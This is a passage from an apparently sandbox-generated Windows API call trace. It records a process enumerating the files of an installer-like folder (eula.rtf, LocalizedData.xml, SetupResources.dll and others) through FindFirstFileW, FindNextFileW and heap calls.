dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.616] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.617] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0077.617] GetProcessHeap () returned 0x11a0000 [0077.617] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="2070", cAlternateFileName="")) returned 1 [0077.617] GetProcessHeap () returned 0x11a0000 [0077.617] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.617] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0077.617] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1397e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.617] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.617] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0077.618] GetProcessHeap () returned 0x11a0000 [0077.618] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="3076", cAlternateFileName="")) returned 1 [0077.618] GetProcessHeap () returned 0x11a0000 [0077.618] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.618] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0077.618] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.618] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.619] FindClose (in: hFindFile=0x11b9f10 | out: hFindFile=0x11b9f10) returned 1 [0077.619] GetProcessHeap () returned 0x11a0000 [0077.619] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.619] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="3082", cAlternateFileName="")) returned 1 [0077.619] GetProcessHeap () returned 0x11a0000 [0077.619] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.619] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9f10 [0077.620] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.620] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0077.620] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0077.620] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0077.620] FindNextFileW (in: hFindFile=0x11b9f10, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0077.620] FindClose (in: hFindFile=0x11b9f10 | out: hFindFile=0x11b9f10) returned 1 [0077.620] GetProcessHeap () returned 0x11a0000 [0077.620] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.620] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="Client", cAlternateFileName="")) returned 1 [0077.620] GetProcessHeap () returned 0x11a0000 [0077.620] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0077.621] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.621] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0077.621] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0077.621] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0077.622] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0077.622] GetProcessHeap () returned 0x11a0000 [0077.622] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbc518d00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbc518d00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbc518d00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x3ef6, dwReserved0=0x430054, dwReserved1=0x7, cFileName="DHtmlHeader.html", cAlternateFileName="DHTMLH~1.HTM")) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce333000, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xce333000, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xce333000, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x159d5, dwReserved0=0x430054, dwReserved1=0x7, cFileName="DisplayIcon.ico", cAlternateFileName="DISPLA~1.ICO")) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="Extended", cAlternateFileName="")) returned 1 [0077.622] GetProcessHeap () returned 0x11a0000 [0077.622] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.622] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9c90 [0077.622] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0077.622] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0077.623] FindNextFileW (in: hFindFile=0x11b9c90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x988a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml", cAlternateFileName="")) returned 0 [0077.623] FindClose (in: hFindFile=0x11b9c90 | out: hFindFile=0x11b9c90) returned 1 [0077.623] GetProcessHeap () returned 0x11a0000 [0077.623] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x1250a90 | out: hHeap=0x11a0000) returned 1 [0077.623] FindNextFileW (in: hFindFile=0x11ba110, lpFindFileData=0x347f478 | out: lpFindFileData=0x347f478*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7, cFileName="Graphics", cAlternateFileName="")) returned 1 [0077.623] GetProcessHeap () returned 0x11a0000 [0077.623] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x1250a90 [0077.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11b9d90 [0077.625] FindNextFileW (in: hFindFile=0x11b9d90, lpFindFileData=0x347f1f0 | out: lpFindFileData=0x347f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.626] 